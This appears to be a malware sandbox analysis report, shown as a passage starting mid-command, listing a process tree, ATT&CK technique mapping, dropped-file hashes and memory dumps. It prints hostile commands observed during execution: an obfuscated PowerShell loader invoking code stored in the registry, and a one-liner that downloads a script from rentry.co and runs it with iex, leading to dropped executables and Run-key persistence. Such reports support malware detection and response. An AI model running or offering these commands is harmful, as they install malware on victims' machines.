4)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'x'+''+[Char](52)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4704

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1188

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1204

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1212

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1236

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1420

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1432

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:2436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1536

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1568

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1584

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1696

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3dc
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1828

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1956

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1968

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2056

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2092

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2248

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2452

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2572

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2616

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2632

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2700

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2828

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3048

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3160

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Ramo 🖤.jpg"
2⤵
PID:204

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
2⤵
PID:4544

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell "irm rentry.co/el3rabtweakpc/raw | iex"
3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4616

C:\Windows\svchost32.exe
"C:\Windows\svchost32.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528

C:\Users\Admin\AppData\Local\Temp\x4s.exe
"C:\Users\Admin\AppData\Local\Temp\x4s.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1284

C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
"C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe"
5⤵
- Executes dropped EXE
PID:632

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
2⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:560

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3176

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3820

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4684

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:4816

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2752

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4268

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4580

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:2516

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:3600

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5008

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4076

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tcb2pdvq.fst.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe
Filesize
164KB

MD5
8a7bee2c8cec6ac50bc42fe03d3231e6

SHA1
ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d

SHA256
c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8

SHA512
34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5

Download Submit
C:\Users\Admin\AppData\Local\Temp\x4s.exe
Filesize
33KB

MD5
7d333fbc75b9264d3b631861794a7641

SHA1
165e2b6ad994fe9bab44154e3812b2e8825dfa76

SHA256
b98612934cc154c292502370baca4769f1fccad2c79c17237d23ffd5926180bf

SHA512
54408249ba56c7c19f41c8d35113f306f0fa62c6f5331993945504d09075977346eb40465107d4fab44159a46bd0048d8ea265d31b57d16294420552353175b3

Download Submit
C:\Windows\svchost32.exe
Filesize
180KB

MD5
de68372979221ee19e301cd657bdb1b6

SHA1
4266ce79f32422735a99259c27749b6d7fbe158e

SHA256
720747405e106709767314b8a58bb754aee0f2bcc568440d757aaab17a181f6a

SHA512
3c80bf8e5dda4a7fb9837e7098f5682651026ba41396fb18221ba96fa61e22961abc22e60760e719ce5300663ba18877aed60bd2106198eb6bf69030ce4fee16

Download Submit
memory/584-112-0x000001C0EAF80000-0x000001C0EAFAC000-memory.dmp

Filesize
176KB

Download
memory/584-113-0x00007FFB9AF70000-0x00007FFB9AF80000-memory.dmp

Filesize
64KB

Download
memory/584-106-0x000001C0EAF80000-0x000001C0EAFAC000-memory.dmp

Filesize
176KB

Download
memory/584-105-0x000001C0EAF80000-0x000001C0EAFAC000-memory.dmp

Filesize
176KB

Download
memory/584-104-0x000001C0EAF50000-0x000001C0EAF76000-memory.dmp

Filesize
152KB

Download
memory/636-118-0x000001E7A60A0000-0x000001E7A60CC000-memory.dmp

Filesize
176KB

Download
memory/636-123-0x000001E7A60A0000-0x000001E7A60CC000-memory.dmp

Filesize
176KB

Download
memory/636-124-0x00007FFB9AF70000-0x00007FFB9AF80000-memory.dmp

Filesize
64KB

Download
memory/736-134-0x0000027A6C400000-0x0000027A6C42C000-memory.dmp

Filesize
176KB

Download
memory/736-135-0x00007FFB9AF70000-0x00007FFB9AF80000-memory.dmp

Filesize
64KB

Download
memory/736-128-0x0000027A6C400000-0x0000027A6C42C000-memory.dmp

Filesize
176KB

Download
memory/904-146-0x00007FFB9AF70000-0x00007FFB9AF80000-memory.dmp

Filesize
64KB

Download
memory/904-145-0x00000163B2C70000-0x00000163B2C9C000-memory.dmp

Filesize
176KB

Download
memory/904-139-0x00000163B2C70000-0x00000163B2C9C000-memory.dmp

Filesize
176KB

Download
memory/1008-150-0x0000023CA6250000-0x0000023CA627C000-memory.dmp

Filesize
176KB

Download
memory/1284-62-0x0000000000230000-0x000000000023E000-memory.dmp

Filesize
56KB

Download
memory/1284-765-0x0000000000A30000-0x0000000000A3E000-memory.dmp

Filesize
56KB

Download
memory/1392-91-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1392-99-0x00007FFBDAEE0000-0x00007FFBDB0BB000-memory.dmp

Filesize
1.9MB

Download
memory/1392-101-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1392-100-0x00007FFBD8500000-0x00007FFBD85AE000-memory.dmp

Filesize
696KB

Download
memory/1392-90-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1392-93-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1392-92-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1392-95-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4528-50-0x00000000009E0000-0x0000000000A14000-memory.dmp

Filesize
208KB

Download
memory/4616-31-0x000001D952CB0000-0x000001D952E72000-memory.dmp

Filesize
1.8MB

Download
memory/4616-7-0x000001D939EA0000-0x000001D939EC2000-memory.dmp

Filesize
136KB

Download
memory/4616-6-0x00007FFBBED23000-0x00007FFBBED24000-memory.dmp

Filesize
4KB

Download
memory/4616-9-0x00007FFBBED20000-0x00007FFBBF70C000-memory.dmp

Filesize
9.9MB

Download
memory/4616-11-0x00007FFBBED20000-0x00007FFBBF70C000-memory.dmp

Filesize
9.9MB

Download
memory/4616-12-0x000001D952550000-0x000001D9525C6000-memory.dmp

Filesize
472KB

Download
memory/4616-51-0x00007FFBBED20000-0x00007FFBBF70C000-memory.dmp

Filesize
9.9MB

Download
memory/4704-88-0x00007FFBDAEE0000-0x00007FFBDB0BB000-memory.dmp

Filesize
1.9MB

Download
memory/4704-89-0x00007FFBD8500000-0x00007FFBD85AE000-memory.dmp

Filesize
696KB

Download
memory/4704-87-0x00000278C9C90000-0x00000278C9CBA000-memory.dmp

Filesize
168KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads